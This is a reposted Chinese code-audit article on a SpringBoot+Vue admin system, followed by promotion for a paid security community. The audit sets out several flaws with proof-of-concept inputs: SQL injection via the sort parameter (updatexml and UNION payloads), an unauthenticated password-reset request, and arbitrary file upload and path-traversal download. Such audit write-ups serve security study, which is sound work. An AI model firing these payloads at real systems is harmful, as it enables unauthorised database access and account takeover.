文章总结: 本文分析了某SpringBoot+Vue后台管理系统中的多个安全漏洞,包括黑名单过滤下仍存在的SQL注入、未授权的任意用户密码重置、未过滤的任意文件上传以及目录穿越导致的任意文件下载。作者详细分析了漏洞原理和利用方式,并提供了POC验证。文章强调了开发者在注重功能实现的同时也应考虑安全问题。
综合评分: 88
文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,应用安全
黑名单过滤下为何还能无限制SQL注入!
Yu9
神农Sec
2025年12月4日 09:00
安徽
扫码加圈子
获内部资料
#
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
#
文章作者:Yu9
文章来源:https://forum.butian.net/share/2905
01
0x1 黑名单过滤下为何还能无限制SQL注入!
0x01 前言
这周看到了某公众号发的springboot+vue实现的一个后台管理系统。阅读量还挺高的,就下了一下源码翻一翻,发现里边漏洞还挺多的。尤其是SQL方面,作者虽然做了过滤但还是因为配置不当的导致SQL注入。
后边经过作者的同意,然后把本次代码审计的思路放出来和大家分享一下
0x02 SQL注入
mybatis-plus对绝大部分场景进行了预编译处理。但是类似动态表名、orderby这种需要拼接的场景配置不当还是会存在漏洞。本次就是记录一下在代码审计中遇到的一个奇怪的SQL注入,在对请求参数进行黑名单过滤十分严格的情况,代码逻辑不当导致SQL注入!
分页SQL注入分析
翻了一下pom.xml文件,发现该项目持久层使用的是Mybatis-puls框架!
我对mybatis-plus的理解就是封装了一些sql以减少代码量,其对绝大部分场景进行了预编译处理。但是类似动态表名、orderby这种需要拼接的场景配置不当还是会存在漏洞。
在翻工具类时发现该项目有对sql注入进行过滤
那就跟进去看看在哪里做了过滤,只在com.utils.Query#Query中有4处调用
跟进com.utils.Query#Query看看,发现该类具有两个重载的构造方法,接收的参数类型不同
-
JQPageInfo
:封装了分页参数的实体类
-
Map
params :集合类型的params参数
但其对sql注入的防御逻辑都相同,都是对sidx和order参数进行处理后,然后封装成Page对象
源码:
package com.utils;
import java.util.LinkedHashMap;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import com.baomidou.mybatisplus.plugins.Page;
/**
* 查询参数
*/
publicclassQuery<T> extendsLinkedHashMap<String, Object> {
privatestaticfinallong serialVersionUID = 1L;
/**
* mybatis-plus分页参数
*/
private Page<T> page;
/**
* 当前页码
*/
privateint currPage = 1;
/**
* 每页条数
*/
privateint limit = 10;
publicQuery(JQPageInfo pageInfo){
//分页参数
if(pageInfo.getPage()!= null){
currPage = pageInfo.getPage();
}
if(pageInfo.getLimit()!= null){
limit = pageInfo.getLimit();
}
//防止SQL注入(因为sidx、order是通过拼接SQL实现排序的,会有SQL注入风险)
String sidx = SQLFilter.sqlInject(pageInfo.getSidx());
String order = SQLFilter.sqlInject(pageInfo.getOrder());
//mybatis-plus分页
this.page = new Page<>(currPage, limit);
//排序
if(StringUtils.isNotBlank(sidx) && StringUtils.isNotBlank(order)){
this.page.setOrderByField(sidx);
this.page.setAsc("ASC".equalsIgnoreCase(order));
}
}
publicQuery(Map<String, Object> params){
this.putAll(params);
//分页参数
if(params.get("page") != null){
currPage = Integer.parseInt((String)params.get("page"));
}
if(params.get("limit") != null){
limit = Integer.parseInt((String)params.get("limit"));
}
this.put("offset", (currPage - 1) * limit);
this.put("page", currPage);
this.put("limit", limit);
//防止SQL注入(因为sidx、order是通过拼接SQL实现排序的,会有SQL注入风险)
String sidx = SQLFilter.sqlInject((String)params.get("sidx"));
String order = SQLFilter.sqlInject((String)params.get("order"));
this.put("sidx", sidx);
this.put("order", order);
//mybatis-plus分页
this.page = new Page<>(currPage, limit);
//排序
if(StringUtils.isNotBlank(sidx) && StringUtils.isNotBlank(order)){
this.page.setOrderByField(sidx);
this.page.setAsc("ASC".equalsIgnoreCase(order));
}
}
public Page<T> getPage(){
return page;
}
publicintgetCurrPage(){
return currPage;
}
publicintgetLimit(){
return limit;
}
}
很完美的防御、不过这里就有点奇怪了,翻了几个sql的xml文件,发现都没有使用到这个page对象
那我们从页面中随机找一个带分页的查询请求分析一下,例如:
/jixiaokaohe/page?page=1&limit=10&sort=id
跟进到他的controller->com.controller.JixiaokaoheController#page
调用的是jixiaokaoheService.queryPage来进行的查询,使用MPUtil.sort来自定义了一个wrapper
继续跟进到com.service.impl.JixiaokaoheServiceImpl#queryPage
可以看到这块使用了sql过滤的com.utils.Query#Query(java.util.Map<java.lang.String,java.lang.Object>)
继续向下跟
可以看到最终sql的实现使用的是开头说的自定义的wrapper来构建查询条件。
跟进去看看->com.utils.MPUtil#sort
发现在这块对sort参数直接使用了拼接而且没有进行过滤
打个poc试一下吧!
page=1&limit=10&sort=id+and+updatexml(1,concat(0x7e,database()),0)#
其他SQL注入分析
从Mybatis-puls的简介中可以看到:Mybatis-Plus是一个Mybatis(opens new window)的增强工具,在Mybatis的基础上只做增强不做改变,为简化开发。因此mybatis中实现sql的方式在Mybatis-puls同样适用。
#{}预处理、${}拼接就不用多说了。直接实现sql的xml搜索${
可以发现多出使用拼接,那直接选择一个分析一下
一路向上跟进
com.service.impl.CommonServiceImpl#remindCount
最终跟到com.controller.CommonController#remindCount,发现全程也无过滤
根据接口,构造,打个poc
users union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
SQL注入总结
在对动态表名、orderby这种需要拼接的场景下,在代码实现时一定要仔细!总体来说mybatispuls框架中SQL注入漏洞挖掘相较于mybatis中更为困难,需要我们更加有耐心!
0x03 任意用户密码重置
这是在无意间发现的一个功能,感觉是作者设计的一个功能。但我没太看懂作者的意图,重置密码的接口可以不进行权限认证就使用!
@IgnoreAuth这个注解的作用是不进行权限认证,之后就是通过用户名来查询用户,然后修改用户的密码为123456
GET /springboot57n6g/users/resetPass?username=admin HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/
Sec-Fetch-Mode: cors
Accept-Language: zh-CN,zh;q=0.9
0x04 任意文件上传
分析
在com.controller.FileController#upload中实现的文件上传功能,通过最后一个点来获取上传文件后缀,在结合时间生成心的文件名,但未对文件进行过滤。导致任意文件上传
0x05 任意文件下载
分析
在com.controller.FileController#download中实现的文件下载功能,但是在94行文件路径是由拼接而得:静态目录/upload/filename
由于filename我们可控。并且也无过滤,导致目录穿越下载任意文件
0x06 总结
开发注重功能的同时也应该考虑到一些安全问题。就像重置密码那个问题,作者就没有思考到安全问题。
02
0x2 内部小圈子详情介绍
我们是神农安全,点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
知识星球——神农安全
星球现价 ¥50元
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
星球人数少于1400人 50元/年
星球人数少于1600人 65元/年
(新人优惠卷20,扫码或者私信我即可领取)
欢迎加入星球一起交流,券后价仅50元!!! 即将满1400人涨价
长期更新,更多的0day/1day漏洞POC/EXP
内部知识库–(持续更新中)
知识库部分大纲目录如下:
知识库跟知识星球联动,基本上每天保持更新,满足圈友的需求
知识库和知识星球有师傅们关注的EDUSRC和CNVD相关内容(内部资料)
还有网上流出来的各种SRC/CTF等课程视频
量大管饱,扫描下面的知识星球二维码加入即可
不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?
直接加入我们小圈子:知识星球+内部圈子交流群+知识库
快来吧!!
神农安全知识库内部配置很多内部工具和资料💾,玄机靶场邀请码+EDUSRC邀请码等等
快要护网来临,是不是需要护网面试题汇总?问题+答案(超级详细🔎)
最后,师傅们也是希望找个好工作,那么常见的渗透测试/安服工程师/驻场面试题目,你值得拥有!!!
内部小圈子——圈友反馈(良心价格)
神农安全公开交流群
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
往期回顾
手把手js逆向断点调试&js逆向前端加密对抗&企业SRC实战分享
JS漏洞挖掘|分享使用FindSomething联动的挖掘思路
渗透测试 | 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:神农Sec Yu9《黑名单过滤下为何还能无限制SQL注入!》